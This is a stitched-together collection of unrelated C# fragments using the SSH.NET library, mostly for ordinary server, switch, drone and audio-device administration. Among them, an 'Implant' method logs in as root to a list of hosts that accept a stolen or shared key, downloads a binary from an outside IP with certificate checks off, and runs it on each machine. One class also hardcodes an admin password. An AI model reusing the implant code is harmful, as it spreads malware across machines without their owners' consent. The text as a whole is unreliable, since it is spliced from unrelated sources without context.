@out.WriteLine($"Create file tar.gz: {cmdCreateTarGz}");
@out.WriteLine($"Result command: {retCmd}");
}
var fileToSave = Path.Combine(pathSave, $"{host}{FILE_NAME}");
// download
using var sftp = new SftpClient(host, port, username, password);
using var stream = File.OpenWrite(fileToSave);
sftp.Connect();
if (debug)
{
@out.WriteLine($"Download file tar.gz: {fileNameTarGz} to {fileToSave}");
}
sftp.DownloadFile(fileNameTarGz, stream);
sftp.Disconnect();
//delete tar
var cmdRmTarGz = $"rm {fileNameTarGz}";
retCmd = sshClient.CreateCommand(cmdRmTarGz).Execute();
if (debug)
{
@out.WriteLine($"Delete tar.gz: {cmdRmTarGz}");
@out.WriteLine($"Result command: {retCmd}");
}
sshClient.Disconnect();
@out.WriteLine($"Create config: {fileToSave}");
}
//keep
foreach (var directoryBackupDateTime in Directory.GetDirectories(directoryWork)
.OrderByDescending(a => a)
.Skip(keep))
{
Delete(directoryBackupDateTime, @out);
}
}
public static void UpdatePortsCollection(SshClient sshClient)
{
sshClient.CreateCommand("sudo portsnap fetch update --interactive").Execute();
}
public static void SetMasurcaError(SshClient client, GenomeModel genomeModel)
{
genomeModel.MasurcaCurrentStep = -1;
genomeModel.MasurcaStatus = LinuxCommands.GetMasurcaError(client, genomeModel.Seed);
}
public SSHController()
{
ssh = new SshClient("10.0.12.240", 10000, "admin", "tst0VMman");
}
/// <summary>
/// Installs the jumpcoind with (if wanted) cronjob
/// </summary>
private void RunCommand()
{
//load all variables
ip = ip_feld.Text;
username = username_feld.Text;
password = password_feld.Text;
port = port_feld.Text;
rpcuser = RpcUser_feld.Text;
rpcpassword = RpcPassword_feld.Text;
string TEMP_PATH = Path.GetTempPath();
/// <summary>
/// The Part with cron
/// </summary>
using (var client = new SshClient(ip, Convert.ToInt16(port), username, password))
{
// check if everything givem
try
{
client.Connect();
}
catch
{
if (language_info == "deu")
{
MessageBox.Show("Bitte fülle die Felder IP, Benutzername, Benutzerpasswort, rcuser und rpcpasswort aus!");
}
else
{
MessageBox.Show("Please fill out the IP, user, password, rpcuser and rpcpassword!"); //if not
}
return;
}
// Crappy way!! I don't know how to transfer a lokal variable to the vps. So I create lokal a file with the genkey as name, upload it
// to the vps and read the new created directory. The output is the genkey :D
var command = client.CreateCommand("mkdir /root/temp_jumpcoin_user/");
var result = command.BeginExecute();
command = client.CreateCommand("mkdir /root/temp_jumpcoin_password/");
result = command.BeginExecute();
//create the lokale file
if (!File.Exists(TEMP_PATH + rpcuser))
{
using (StreamWriter sw = new StreamWriter(Environment.ExpandEnvironmentVariables(TEMP_PATH + rpcuser), true))
{
}
}
if (!File.Exists(TEMP_PATH + rpcpassword))
{
using (StreamWriter sw = new StreamWriter(Environment.ExpandEnvironmentVariables(TEMP_PATH + rpcpassword), true))
{
}
}
client.Disconnect();
}
using (var client = new SftpClient(ip, Convert.ToInt16(port), username, password))
{
client.Connect();
FileInfo f = new FileInfo(TEMP_PATH + rpcuser);
string uploadfile = f.FullName;
var fileStream = new FileStream(uploadfile, FileMode.Open);
if (fileStream != null)
{
client.UploadFile(fileStream, "/root/temp_jumpcoin_password/" + f.Name, null);
client.Disconnect();
client.Dispose();
}
}
using (var client = new SftpClient(ip, Convert.ToInt16(port), username, password))
{
client.Connect();
FileInfo f = new FileInfo(TEMP_PATH + rpcpassword);
string uploadfile = f.FullName;
var fileStream = new FileStream(uploadfile, FileMode.Open);
if (fileStream != null)
{
client.UploadFile(fileStream, "/root/temp_jumpcoin_user/" + f.Name, null);
client.Disconnect();
client.Dispose();
}
}
// execute the ./jumpcoind install script (self-made)
using (var client = new SshClient(ip, Convert.ToInt16(port), username, password))
{
client.Connect();
var command = client.CreateCommand("./jumpcoind getblockcount");
var result = command.BeginExecute();
System.Threading.Thread.Sleep(500);
if (startup_checkbox.Checked) //With Cron
{
command = client.CreateCommand("sudo wget https://raw.githubusercontent.com/Roalkege/Jumpcoind_install_tool/master/jumpcoind_install_cron.sh && sudo bash jumpcoind_install_cron.sh"); //download the script
result = command.BeginExecute();
}
else
{
//without cron
}
{
command = client.CreateCommand("sudo wget https://raw.githubusercontent.com/Roalkege/Jumpcoind_install_tool/master/jumpcoind_install.sh && sudo bash jumpcoind_install.sh"); //download the script
result = command.BeginExecute();
}
//log vps output
using (var reader =
new StreamReader(command.OutputStream, Encoding.UTF8, true, 1024, true))
{
while (!result.IsCompleted || !reader.EndOfStream)
{
string line = reader.ReadLine();
if (line != null)
{
log_feld.Invoke(
(MethodInvoker)(() =>
log_feld.AppendText(line + Environment.NewLine)));
}
}
}
command.EndExecute(result);
if (language_info == "deu")
{
MessageBox.Show("Wallet installiert.");
}
else
{
MessageBox.Show("Wallet installed.");
}
client.Disconnect();
}
}
public FileService(SftpClient client, JsonConfig config, SshClient sshClient)
{
this.Client = client;
this.Config = config;
this.SshClient = sshClient;
}
public static void flash(string firmware_file, string firmware_md5 = "", bool solo = true, bool clean = false)
{
var ip = Solo.soloip;
if (solo == false)
{
ip = Solo.controllerip;
}
if ((is_solo_alive && solo) || (is_controller_alive && !solo))
{
Console.WriteLine("About to connect " + ip);
using (SshClient client = new SshClient(ip, 22, Solo.username, Solo.password))
{
client.KeepAliveInterval = TimeSpan.FromSeconds(5);
client.Connect();
if (!client.IsConnected)
{
throw new Exception("Failed to connect ssh");
}
Console.WriteLine("run update-prepare");
var retcode = client.RunCommand("sololink_config --update-prepare sololink");
if (retcode.ExitStatus != 0)
{
Console.WriteLine("run cleanup");
client.RunCommand("rm -rf /log/updates && mkdir -p /log/updates");
}
using (ScpClient scpClient = new ScpClient(client.ConnectionInfo))
{
scpClient.Connect();
if (!scpClient.IsConnected)
{
throw new Exception("Failed to connect scp");
}
if (firmware_md5 == "")
{
using (var md5 = MD5.Create())
using (var fs = File.OpenRead(firmware_file))
{
var hash = md5.ComputeHash(fs);
File.WriteAllText(firmware_file + ".md5",
ByteArrayToString(hash) + " " + Path.GetFileName(firmware_file) + "\n");
}
firmware_md5 = firmware_file + ".md5";
}
Console.WriteLine("upload firmware");
scpClient.Upload(new FileInfo(firmware_file), "/log/updates/" + Path.GetFileName(firmware_file));
scpClient.Upload(new FileInfo(firmware_md5), "/log/updates/" + Path.GetFileName(firmware_md5));
}
if (clean)
{
retcode = client.RunCommand("sololink_config --update-apply sololink --reset");
}
else
{
Console.WriteLine("update-apply");
retcode = client.RunCommand("sololink_config --update-apply sololink");
}
if (retcode.ExitStatus != 0)
{
if (clean)
{
retcode =
client.RunCommand(
"touch /log/updates/UPDATE && touch /log/updates/RESETSETTINGS && shutdown -r now");
}
else
{
Console.WriteLine("reboot");
retcode = client.RunCommand("touch /log/updates/UPDATE && shutdown -r now");
}
}
client.Disconnect();
}
}
else
{
throw new Exception("Solo is not responding to pings");
}
}
public Commands(SshClient currentClient)
{
client = currentClient;
}
public TrojanGoProject(SshClient sshClient, TrojanGoSettings parameters, Action <string> writeOutput) : base(sshClient, parameters, writeOutput)
{
}
public static SshCommand BeginCommand(this SshClient ssh, string commandText, Action <string> output, out IAsyncResult asyncResult)
{
return(ssh.BeginCommand(commandText, output, null, out asyncResult));
}
public XrayProject(SshClient sshClient, XraySettings parameters, Action <string> writeOutput) : base(sshClient, parameters, writeOutput)
{
}
private void updateSwitch(SwitchInfo sw)
{
//If no username specified use defaults for username and password
string username = (string.IsNullOrEmpty(sw.UserName) ? Properties.Settings.Default.DefaultUserName : sw.UserName);
string password = (string.IsNullOrEmpty(sw.UserName) ? Functions.DecryptPassword(Properties.Settings.Default.DefaultEncryptedPassword) : sw.Password);
if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
{
if (InvokeRequired)
{
Invoke(new UpdateStatus(updateStatus), "Credentials invalid for " + sw.Name + ".");
}
if (failedSwitches != null)
{
failedSwitches.Add(sw.Name);
}
else
{
if (InvokeRequired)
{
Invoke(new ShowWarning(showWarning), "Credentials are not set correctly to access " + sw.Name + ".", "Error", false);
}
}
return;
}
if (InvokeRequired)
{
Invoke(new UpdateStatus(updateStatus), "Connecting to " + sw.Name + "...");
}
using (var sshclient = new SshClient(sw.Address, username, password))
{
try
{
if (InvokeRequired)
{
Invoke(new UpdateStatus(updateStatus), "Gathering data for " + sw.Name + "...");
}
sw.Ports = new Collection <SwitchPort>();
sshclient.Connect();
var reply = sshclient.RunCommand("show interface description").Result;
sshclient.Disconnect();
string[] lines = getResultData(reply, "Interface");
if (lines != null && lines.Length > 1)
{
for (int i = 1; i < lines.Length; i++)
{
char[] lineChars = lines[i].ToCharArray();
string strInt = "";
string strDesc = "";
for (int j = 0; j < lineChars.Length; j++)
{
if (j < 31)
{
strInt += lineChars[j];
}
if (j > 54)
{
strDesc += lineChars[j];
}
}
strInt = strInt.Trim();
strDesc = strDesc.Trim();
if (strInt.Length > 0)
{
sw.addPort(new SwitchPort(strInt, strDesc));
}
}
}
if (sw.Ports.Count < 1)
{
if (failedSwitches != null)
{
failedSwitches.Add(sw.Name);
}
else
{
if (InvokeRequired)
{
Invoke(new ShowWarning(showWarning), "Failed to collect data for switch " + sw.Name, "Error", false);
}
}
return;
}
sshclient.Connect();
reply = sshclient.RunCommand("show interface status").Result;
sshclient.Disconnect();
lines = getResultData(reply, "Port");
if (lines != null && lines.Length > 1)
{
for (int i = 1; i < lines.Length; i++)
{
char[] lineChars = lines[i].ToCharArray();
string strInt = "";
string strStatus = "";
string strVlan = "";
string strDuplex = "";
string strSpeed = "";
string strType = "";
for (int j = 0; j < lineChars.Length; j++)
{
if (j < 10)
{
strInt += lineChars[j];
}
if (j >= 30 && j < 43)
{
strStatus += lineChars[j];
}
if (j >= 43 && j < 54)
{
strVlan += lineChars[j];
}
if (j >= 54 && j < 61)
{
strDuplex += lineChars[j];
}
if (j >= 61 && j < 68)
{
strSpeed += lineChars[j];
}
if (j >= 68)
{
strType += lineChars[j];
}
}
strInt = strInt.Trim();
strStatus = strStatus.Trim();
strVlan = strVlan.Trim();
strDuplex = strDuplex.Trim();
strSpeed = strSpeed.Trim();
strType = strType.Trim();
if (strInt.Length > 0)
{
SwitchPort prt = sw.getPort(strInt);
if (prt != null)
{
prt.Status = strStatus;
prt.Vlan = strVlan;
prt.Duplex = strDuplex;
prt.Speed = strSpeed;
prt.Type = strType;
}
}
}
}
sshclient.Connect();
reply = sshclient.RunCommand("show ip arp").Result;
sshclient.Disconnect();
lines = getResultData(reply, "Protocol");
if (lines != null && lines.Length > 1)
{
for (int i = 1; i < lines.Length; i++)
{
char[] lineChars = lines[i].ToCharArray();
string strIp = "";
string strMac = "";
for (int j = 0; j < lineChars.Length; j++)
{
if (j >= 10 && j < 27)
{
strIp += lineChars[j];
}
if (j >= 38 && j < 54)
{
strMac += lineChars[j];
}
}
strIp = strIp.Trim();
strMac = strMac.Trim();
if (strIp.Length > 6)
{
bool found = false;
foreach (string ip in ipList)
{
if (ip.Equals(strIp))
{
foreach (string mac in ipList.GetValues(ip))
{
if (mac.Equals(strMac))
{
found = true;
}
}
}
}
if (!found)
{
ipList.Add(strIp, strMac);
}
}
}
}
sshclient.Connect();
reply = sshclient.RunCommand("show mac address").Result;
sshclient.Disconnect();
lines = getResultData(reply, "mac address");
if (lines != null && lines.Length > 1)
{
List <string> lineList = lines.ToList();
// Remove irrelevant multicast entries
if (lineList.FindIndex(r => r.Contains("Multicast Entries")) >= 0)
{
lineList.RemoveRange(lineList.FindIndex(r => r.Contains("Multicast Entries")), lineList.Count - lineList.FindIndex(r => r.Contains("Multicast Entries")));
}
foreach (SwitchPort prt in sw.Ports)
{
foreach (string line in lineList)
{
var portname = Regex.Match(line.TrimEnd(), @" [^ ]+$");
if (portname.Success && prt.Name.Equals(Regex.Replace(portname.Value, @" ([a-zA-Z][a-zA-Z])[a-zA-Z]*([0-9].*)", "$1$2"), StringComparison.OrdinalIgnoreCase))
{
var macAdd = Regex.Match(line, @"([0-9a-f]{4}\.){2}[0-9a-f]{4}");
if (macAdd.Success && !prt.getMacs().Contains(macAdd.Value))
{
prt.addMac(macAdd.Value);
}
}
}
if (InvokeRequired)
{
Invoke(new UpdateProgress(updateProgress), Math.Max(100 / sw.Ports.Count, 1), true);
}
}
}
}
catch (Exception ex)
{
if (failedSwitches != null)
{
failedSwitches.Add(sw.Name);
}
else
{
if (InvokeRequired)
{
Invoke(new ShowWarning(showWarning), "Failed to update switch " + sw.Name + "\r\n\r\n" + ex.Message, "Error", false);
}
}
}
finally
{
sshclient.Disconnect();
sshclient.Dispose();
}
}
}
public static string CurrentLoggedUsers(SshClient sshClient)
{
var loggedUsers = sshClient.CreateCommand("sudo LANG=C w -n --libxo=json,pretty").Execute().FromJson <SystemUptime>().UptimeInformation.UserTable.UserEntry.Select(user => user.User);
return(string.Join("\n", loggedUsers));
}
public static void Implant(int tnum = 15)
{
List <string> result = new List <string>();
List <Task> list = new List <Task>();
var ips = File.ReadAllLines(Local + "canlogin.txt");
Queue <string> queue = new Queue <string>(ips.AsEnumerable());
for (int i = 0; i < tnum; i++)
{
Task task = new Task(() =>
{
while (queue.Count > 0)
{
Monitor.Enter(queue);
if (queue.Count > 0)
{
var ip = queue.Dequeue();
Monitor.Exit(queue);
SshClient client = null;
try
{
client = new SshClient(ip, "root", new PrivateKeyFile(Local + "key"));
client.Connect();
var ssh1 =
client.CreateCommand("kill `ps -ef|grep client|grep -v grep|awk '{print $2}'`");
ssh1.BeginExecute();
Thread.Sleep(500);
var ssh2 = client.CreateCommand("rm -f /sbin/client");
ssh2.BeginExecute();
Thread.Sleep(500);
var ssh3 =
client.CreateCommand(
"wget https://123.207.157.21/client -O /sbin/client --no-check-certificate");
ssh3.BeginExecute();
Console.WriteLine(ip + " start download");
Thread.Sleep(5000);
var ssh4 = client.CreateCommand("chmod +x /sbin/client");
ssh4.BeginExecute();
Console.WriteLine(ip + " download ok");
Thread.Sleep(500);
var ssh = client.CreateCommand("/sbin/client");
ssh.BeginExecute();
result.Add(ip);
}
catch (Exception e)
{
//Console.WriteLine(e.Message);
}
finally
{
client.Dispose();
}
}
else
{
Monitor.Exit(queue);
}
}
});
list.Add(task);
task.Start();
}
Task.WaitAll(list.ToArray());
StringBuilder sb = new StringBuilder();
foreach (var str in result)
{
sb.AppendLine(str);
}
File.WriteAllText(Local + "implant.txt", sb.ToString());
}
public void ReloadUI()
{
int y = 0;
int x = 0;
int height = 72;
int width = 272;
int cols = 5;
foreach (ConnectionInfo connInfo in connections)
{
Panel p = new Panel();
Label serverName = new Label();
Label serverDetail = new Label();
Label statusPoint = new Label();
LinkLabel puttyLabel = new LinkLabel();
LinkLabel wireGuardLabel = new LinkLabel();
//Set the server name label (My Pi Server)
serverName.Text = connInfo.name;
serverName.Font = new Font("Segoe UI", 14, FontStyle.Bold);
serverName.Size = new Size(200, 24);
serverName.Location = new Point(40, 0);
//Set the detail label ([email protected])
serverDetail.Text = $"{connInfo.user}@{connInfo.host}";
serverDetail.Font = new Font("Segoe UI", 10, FontStyle.Regular);
serverDetail.Size = new Size(200, 16);
serverDetail.Location = new Point(47, 21);
//Set the putty link label
puttyLabel.Text = $"Console";
puttyLabel.Font = new Font("Segoe UI", 9, FontStyle.Underline);
puttyLabel.Size = new Size(52, 16);
puttyLabel.Location = new Point(48, 37);
//Set the edit link label
wireGuardLabel.Text = $"WireGuard";
wireGuardLabel.Font = new Font("Segoe UI", 9, FontStyle.Underline);
wireGuardLabel.Size = new Size(64, 16);
wireGuardLabel.Location = new Point(96, 37);
//Set the host panel parameters
p.Location = new Point(x, y);
p.Size = new Size(256, 64);
p.BorderStyle = BorderStyle.FixedSingle;
//Set the server name label (My Pi Server)
statusPoint.Text = "•";
statusPoint.Font = new Font("Segoe UI", 40, FontStyle.Bold);
statusPoint.Size = new Size(32, 64);
statusPoint.Location = new Point(0, -16);
statusPoint.ForeColor = Color.BlueViolet;
//Add the controls
p.Controls.Add(serverName);
p.Controls.Add(serverDetail);
p.Controls.Add(puttyLabel);
p.Controls.Add(wireGuardLabel);
p.Controls.Add(statusPoint);
basePanel.Controls.Add(p);
y += height;
if (y == (height * cols))
{
y = 0;
x += width;
}
wireGuardLabel.Click += new EventHandler(delegate(Object o, EventArgs a)
{
wirePanel.Visible = true;
wirePanelGroup.Text = connInfo.name + " WireGuard configuration";
closeConfiguratorBtn.Visible = true;
editConnBtn.Visible = false;
addConnBtn.Visible = false;
loadVPNUsers(connInfo);
activeConnection = connInfo;
});
puttyLabel.Click += new EventHandler(delegate(Object o, EventArgs a)
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = $"/C wt ; ssh {connInfo.user}@{connInfo.host} -p {connInfo.port}";
process.StartInfo = startInfo;
process.Start();
});
new Thread(() => {
using (var client = new SshClient(connInfo.host, connInfo.port, connInfo.user, connInfo.pass))
{
try
{
client.Connect();
if (client.ConnectionInfo.IsAuthenticated)
{
this.Invoke((MethodInvoker)(() => {
statusPoint.ForeColor = Color.Green;
}));
}
else
{
this.Invoke((MethodInvoker)(() => {
statusPoint.ForeColor = Color.Red;
}));
}
client.Disconnect();
}
catch (Exception ag)
{
this.Invoke((MethodInvoker)(() => {
statusPoint.ForeColor = Color.Red;
}));
}
}
}).Start();
}
}
public async Task <List <string> > RunCommandShell(List <string> commandList, SshClient client)
{
List <string> result = new List <string>();
await Task.Run(async() =>
{
client.Connect();
SshCommand sc;
foreach (var command in commandList)
{
sc = client.CreateCommand(command);
var SCresult = sc.BeginExecute();
while (SCresult.IsCompleted == false)
{
await Task.Delay(TimeSpan.FromSeconds(1));
}
result.Add(sc.Result);
}
});
return(result);
}
private void button2_Click(object sender, EventArgs e)
{
connTestResultLabel.Text = "Connecting ...";
connTestResultLabel.ForeColor = Color.Black;
enableUI(true, false);
testThread = null;
testThread = new Thread(() => {
using (var client = new SshClient(hostTxt.Text, int.Parse(portText.Text), userText.Text, passText.Text))
{
try
{
client.Connect();
if (client.ConnectionInfo.IsAuthenticated)
{
this.Invoke((MethodInvoker)(() => {
connTestResultLabel.Text = "Success";
connTestResultLabel.ForeColor = Color.Green;
enableUI(false, true);
}));
}
else
{
this.Invoke((MethodInvoker)(() => {
connTestResultLabel.Text = "Incorrect credentials";
connTestResultLabel.ForeColor = Color.Orange;
enableUI(true);
}));
}
client.Disconnect();
}
catch (AggregateException ag)
{
this.Invoke((MethodInvoker)(() => {
connTestResultLabel.Text = ag.InnerException.Message;
connTestResultLabel.ForeColor = Color.Red;
enableUI(true);
}));
}
catch (SocketException socex)
{
this.Invoke((MethodInvoker)(() => {
connTestResultLabel.Text = socex.Message;
connTestResultLabel.ForeColor = Color.Red;
enableUI(true);
}));
}
catch (SshAuthenticationException)
{
this.Invoke((MethodInvoker)(() => {
connTestResultLabel.Text = "Incorrect credentials";
connTestResultLabel.ForeColor = Color.Orange;
enableUI(true);
}));
}
}
});
testThread.Start();
}
private void getLogList_func()
{
directoryTreeView.Nodes.Clear();
logList.Clear();
// get log file list
string farring_IP = "11.0.0.1";
string user_name = "root";
string farring_pwd = " ";
using (var client = new SshClient(farring_IP, user_name, farring_pwd))
{
// connect
try
{
client.Connect();
}
catch (Exception ex)
{
CustomMessageBox.Show("无法连接到飞控，请确认是否已连接飞控WiFi热点[0]!");
return;
}
if (!client.IsConnected)
{
CustomMessageBox.Show("无法连接到飞控，请确认是否已连接飞控WiFi热点[1]!");
return;
}
try
{
string log_file_path = "/var/APM/logs/";
string res = client.RunCommand("ls -tr --full-time " + log_file_path).Result;
// avoid SN is NULL
if (0 == res.Length)
{
MessageBox.Show("抱歉，暂时没有飞行日志", "飞行日志列表为空", MessageBoxButtons.OK, MessageBoxIcon.Information);
return;
}
string[] info = res.Split('\n');
/*
*
* total 3906080
* -rwxr-xr-x 1 root root 12193792 2014-05-15 02:37:48.000000000 +0000 100.FLOG
* -rwxr-xr-x 1 root root 122880 2014-05-15 02:38:12.000000000 +0000 101.FLOG
* -rwxr-xr-x 1 root root 21479424 2014-05-15 02:45:30.000000000 +0000 102.FLOG
* -rwxr-xr-x 1 root root 250888192 2014-05-15 03:39:12.000000000 +0000 103.FLOG
* -rwxr-xr-x 1 root root 57352192 2014-05-15 02:37:30.000000000 +0000 104.FLOG
*/
foreach (string info_item in info) // line
{
if (info_item.Contains(".FLOG"))
// if (info_item.Contains(".BIN"))
{
string[] log_info = info_item.Trim().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
st_log_item log_item = new st_log_item(log_info[8], log_info[5], log_info[6].Substring(0, 8), log_info[4]);
logList.Add(log_item);
}
}
}
catch (Exception ex)
{
MessageBox.Show("获取飞行日志列表出错，请尝试重新获取", "获取错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
client.Disconnect();
client.Dispose();
}
string date_group = "";
int node_cnt = 0;
// noded log file as tree(according to date)
foreach (var log_var in logList) // date is in order-incr
{
if (!log_var.log_date.Equals(date_group)) // new top node
{
string root_node = log_var.log_date;
directoryTreeView.Nodes.Add(root_node);
date_group = log_var.log_date;
}
node_cnt++;
DateTime log_dateTimeUTC = DateTime.ParseExact(log_var.log_date + " " + log_var.log_time, "yyyy-MM-dd HH:mm:ss", null);
DateTime log_dateTime = log_dateTimeUTC.AddHours(8); // UTC to BeiJing
log_var.log_time = log_dateTime.TimeOfDay.ToString();
TreeNode log_file_node = new TreeNode("(" + node_cnt.ToString() + ")" + log_dateTime + " [" + (Double.Parse(log_var.log_size) * 9.53674E-7).ToString("0.00") + "MB]");
directoryTreeView.Nodes[directoryTreeView.GetNodeCount(false) - 1].Nodes.Add(log_file_node);
}
// populate
}
private object SshCommsProcess(object userSpecific)
{
try
{
Thread.Sleep(1000);
Debug.WriteInfo(string.Format("{0} attempting connection to {1}", GetType().Name, _address));
var firstFail = false;
while (!_client.IsConnected && _reconnect)
{
try
{
ConnectionStatus = ClientStatus.AttemptingConnection;
_client.Connect();
}
catch
{
ConnectionStatus = ClientStatus.Disconnected;
if (!firstFail)
{
CloudLog.Warn("{0} could not connect to {1}, will retry every 30 seconds until connected",
GetType().Name, _address);
firstFail = true;
}
Thread.Sleep(30000);
}
}
if (!_client.IsConnected && !_reconnect)
{
_client.Dispose();
_client = null;
ConnectionStatus = ClientStatus.Disconnected;
return(null);
}
CloudLog.Notice("{0} Connected to {1}", GetType().Name, _address);
_shell = _client.CreateShellStream("terminal", 80, 24, 800, 600, BufferSize);
var buffer = new byte[BufferSize];
var dataCount = 0;
try
{
while (_programRunning && _client.IsConnected)
{
while (_shell.CanRead && _shell.DataAvailable)
{
var incomingData = new byte[BufferSize];
var incomingDataCount = _shell.Read(incomingData, 0, incomingData.Length);
#if DEBUG
_stopWatch.Start();
Debug.WriteSuccess("Tesira rx {0} bytes", incomingDataCount);
//Debug.WriteNormal(Debug.AnsiBlue +
// Tools.GetBytesAsReadableString(incomingData, 0, incomingDataCount, true) +
// Debug.AnsiReset);
#endif
if (!Connected &&
Encoding.ASCII.GetString(incomingData, 0, incomingDataCount)
.Contains("Welcome to the Tesira Text Protocol Server..."))
{
_requestsSent.Clear();
_requestsAwaiting.Clear();
_sendQueue.Enqueue("SESSION set verbose true");
ConnectionStatus = ClientStatus.Connected;
_keepAliveTimer = new CTimer(specific =>
{
#if DEBUG
Debug.WriteInfo(GetType().Name + " Sending KeepAlive");
#endif
_client.SendKeepAlive();
}, null, KeepAliveTime, KeepAliveTime);
}
else if (Connected)
{
for (var i = 0; i < incomingDataCount; i++)
{
buffer[dataCount] = incomingData[i];
if (buffer[dataCount] == 10)
{
//skip
}
else if (buffer[dataCount] != 13)
{
dataCount++;
}
else
{
if (dataCount == 0)
{
continue;
}
var line = Encoding.UTF8.GetString(buffer, 0, dataCount);
dataCount = 0;
#if DEBUG
Debug.WriteSuccess("Tesira Rx Line", Debug.AnsiPurple + line + Debug.AnsiReset);
#endif
TesiraMessage message = null;
if (line == "+OK")
{
var request = _requestsAwaiting.TryToDequeue();
if (request != null)
{
#if DEBUG
Debug.WriteInfo("Request Response Received", request);
Debug.WriteSuccess(line);
#endif
message = new TesiraResponse(request, null);
}
}
else if (line.StartsWith("+OK "))
{
var request = _requestsAwaiting.TryToDequeue();
if (request != null)
{
#if DEBUG
Debug.WriteInfo("Request Response Received", request);
Debug.WriteSuccess(line);
#endif
message = new TesiraResponse(request, line.Substring(4));
}
}
else if (line.StartsWith("-ERR "))
{
var request = _requestsAwaiting.TryToDequeue();
if (request != null)
{
#if DEBUG
Debug.WriteInfo("Request Response Received", request);
Debug.WriteError(line);
#endif
message = new TesiraErrorResponse(request, line.Substring(5));
}
else
{
Debug.WriteError("Error received and request queue returned null!");
Debug.WriteError(line);
Debug.WriteError("Clearing all queues!");
_requestsSent.Clear();
_requestsAwaiting.Clear();
}
}
else if (line.StartsWith("! "))
{
#if DEBUG
Debug.WriteWarn("Notification Received");
Debug.WriteWarn(line);
#endif
message = new TesiraNotification(line.Substring(2));
}
else if (!_requestsSent.IsEmpty)
{
Debug.WriteWarn("Last sent request", _requestsSent.Peek());
if (_requestsSent.Peek() == line)
{
_requestsAwaiting.Enqueue(_requestsSent.Dequeue());
#if DEBUG
Debug.WriteNormal("Now awaiting for response for command", line);
#endif
}
}
if (message != null && ReceivedData != null && message.Type != TesiraMessageType.ErrorResponse)
{
if (ReceivedData == null)
{
continue;
}
try
{
_timeOutCount = 0;
ReceivedData(this, message);
}
catch (Exception e)
{
CloudLog.Exception(e, "Error calling event handler");
}
}
else if (message != null && message.Type == TesiraMessageType.ErrorResponse)
{
_timeOutCount = 0;
CloudLog.Error("Error message from Tesira: \"{0}\"", message.Message);
}
}
}
}
#if DEBUG
_stopWatch.Stop();
Debug.WriteNormal("Time to process: {0} ms", _stopWatch.ElapsedMilliseconds);
_stopWatch.Reset();
#endif
CrestronEnvironment.AllowOtherAppsToRun();
}
if (!_programRunning || !_client.IsConnected)
{
break;
}
#if DEBUG
//Debug.WriteNormal(Debug.AnsiBlue +
// string.Format(
// "Shell Can Write = {0}, _sendQueue = {1}, _requestsSent = {2}, _requestsAwaiting = {3}",
// _shell.CanWrite, _sendQueue.Count, _requestsSent.Count,
// _requestsAwaiting.Count) + Debug.AnsiReset);
#endif
if (_shell.CanWrite && !_sendQueue.IsEmpty && _requestsSent.IsEmpty && _requestsAwaiting.IsEmpty)
{
var s = _sendQueue.Dequeue();
if (_keepAliveTimer != null && !_keepAliveTimer.Disposed)
{
_keepAliveTimer.Reset(KeepAliveTime, KeepAliveTime);
}
#if DEBUG
Debug.WriteWarn("Tesira Tx", s);
#endif
_timeOutCount = 0;
_shell.WriteLine(s);
_requestsSent.Enqueue(s);
Thread.Sleep(20);
}
else if (!_requestsSent.IsEmpty || !_requestsAwaiting.IsEmpty)
{
_timeOutCount++;
if (_timeOutCount > 100)
{
CloudLog.Warn(
"Error waiting to send requests in {0}, _requestsAwaiting.Count = {1}" +
"and _requestsSent.Count = {2}. Clearing queues!",
GetType().Name, _requestsAwaiting.Count, _requestsSent.Count);
_requestsAwaiting.Clear();
_requestsSent.Clear();
_timeOutCount = 0;
}
Thread.Sleep(20);
}
}
}
catch (Exception e)
{
CloudLog.Exception(e);
}
_loggedIn = false;
if (_keepAliveTimer != null && !_keepAliveTimer.Disposed)
{
_keepAliveTimer.Stop();
_keepAliveTimer.Dispose();
_keepAliveTimer = null;
}
if (_client != null && _client.IsConnected)
{
_client.Dispose();
_client = null;
}
CloudLog.Notice("{0} Disconnected from {1}", GetType().Name, _address);
}
catch (Exception e)
{
CloudLog.Exception(e, "Error in {0}.SshCommsProcess()", GetType().Name);
}
ConnectionStatus = ClientStatus.Disconnected;
if (!_reconnect || !_programRunning)
{
return(null);
}
Thread.Sleep(1000);
CloudLog.Notice("Attempting reconnect to Tesira at {0}", _address);
ConnectionStatus = ClientStatus.AttemptingConnection;
Connect();
return(null);
}
public static KeyValuePair <bool, string> PackagesActionsNeedsInteraction(SshClient sshClient)
{
var result = "sudo portmaster -L".ExecuteCommand(sshClient);
return(new KeyValuePair <bool, string>(!result.Success, result.Response));
}
public void Test_PortForwarding_Local()
{
using (var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD))
{
client.Connect();
var port1 = new ForwardedPortLocal("localhost", 8084, "www.renci.org", 80);
client.AddForwardedPort(port1);
port1.Exception += delegate(object sender, ExceptionEventArgs e)
{
Assert.Fail(e.Exception.ToString());
};
port1.Start();
System.Threading.Tasks.Parallel.For(0, 100,
//new ParallelOptions
//{
// MaxDegreeOfParallelism = 20,
//},
(counter) =>
{
var start = DateTime.Now;
var req = HttpWebRequest.Create("http://localhost:8084");
using (var response = req.GetResponse())
{
var data = ReadStream(response.GetResponseStream());
var end = DateTime.Now;
Debug.WriteLine(string.Format("Request# {2}: Length: {0} Time: {1}", data.Length, (end - start), counter));
}
}
);
}
}
//[TestMethod]
public void Test_MultipleThread_10000_MultipleConnections()
{
try
{
System.Threading.Tasks.Parallel.For(0, 10000,
() =>
{
var client = new SshClient(Resources.HOST, Resources.USERNAME, Resources.PASSWORD);
client.Connect();
return client;
},
(int counter, ParallelLoopState pls, SshClient client) =>
{
var result = ExecuteTestCommand(client);
Debug.WriteLine(string.Format("TestMultipleThreadMultipleConnections #{0}", counter));
Assert.IsTrue(result);
return client;
},
(SshClient client) =>
{
client.Disconnect();
client.Dispose();
}
);
}
catch (Exception exp)
{
Assert.Fail(exp.ToString());
}
}
